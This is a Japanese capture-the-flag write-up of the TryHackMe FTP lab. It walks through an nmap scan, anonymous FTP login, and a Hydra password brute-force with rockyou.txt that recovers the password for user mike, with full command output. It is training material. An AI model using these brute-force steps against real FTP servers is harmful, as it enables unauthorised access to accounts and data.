はじめに
本記事は「TryHackMe:Network Services FTP」のwriteupです。
問題
FTPに関する問題です。
回答
ポートスキャンします。
結果ftp
がtcp/21
が公開されていることがわかりました。
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- --min-rate 5000 10.10.115.136
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-10 00:00 JST
Warning: 10.10.115.136 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.115.136
Host is up (0.26s latency).
Not shown: 55660 closed tcp ports (conn-refused), 9874 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
Service Info: Host: Welcome
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.28 seconds
匿名アクセスできるか試してみます。
ftp <IP>
でアクセスし、ユーザ名にanonymous
、パスワードなしを試したところ、ログインできました。
┌──(kali㉿kali)-[~]
└─$ ftp 10.10.115.136
Connected to 10.10.115.136.
220 Welcome to the administrator FTP service.
Name (10.10.115.136:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
続いてFTPサーバの重要そうなファイルを探してみます。
ls
するとPUBLIC_NOTICE.txt
というファイルがあったのでmore
で中身を確認します。
FTPサーバのメンテナンスに関する文章でありMike
という方が担当者のようです。名前は覚えておく必要がありそうです。
ftp> ls
229 Entering Extended Passive Mode (|||64921|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 353 Apr 24 2020 PUBLIC_NOTICE.txt
226 Directory send OK.
ftp> more PUBLIC_NOTICE.txt
===================================
MESSAGE FROM SYSTEM ADMINISTRATORS
===================================
Hello,
I hope everyone is aware that the
FTP server will not be available
over the weekend- we will be
carrying out routine system
maintenance. Backups will be
made to my account so I reccomend
encrypting any sensitive data.
Cheers,
Mike
Hydra
を使用してFTPのパスワードをクラッキングします。
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
-t
はターゲットへの並列接続数を指定します。
-l
はログインするユーザー名を指定します。
-P
はパスワードのリストを含むファイルを指定します。
-vV
で各試行のログインとパスの組み合わせを表示します。
ftp
はプロトコルを指定します。
以下の結果からユーザー名mike
のパスワードはpassword
ということがわかりました。
┌──(kali㉿kali)-[~]
└─$ hydra -t 4 -l mike -P /usr/share/wordlists/rockyou.txt -vV 10.10.115.136 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-10 00:19:54
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ftp://10.10.115.136:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 10.10.115.136 - login "mike" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.115.136 - login "mike" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.115.136 - login "mike" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.10.115.136 - login "mike" - pass "password" - 4 of 14344399 [child 3] (0/0)
[21][ftp] host: 10.10.115.136 login: mike password: password
[STATUS] attack finished for 10.10.115.136 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-10 00:20:01
早速、入手したユーザー名、パスワードでログインしたところ、カレントディレクトリにフラグが記載されたファイル(ftp.txt)がありました。
┌──(kali㉿kali)-[~]
└─$ ftp 10.10.115.136
Connected to 10.10.115.136.
220 Welcome to the administrator FTP service.
Name (10.10.115.136:kali): mike
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||40491|)
150 Here comes the directory listing.
drwxrwxrwx 2 0 0 4096 Apr 24 2020 ftp
-rwxrwxrwx 1 0 0 26 Apr 24 2020 ftp.txt
226 Directory send OK.
ftp>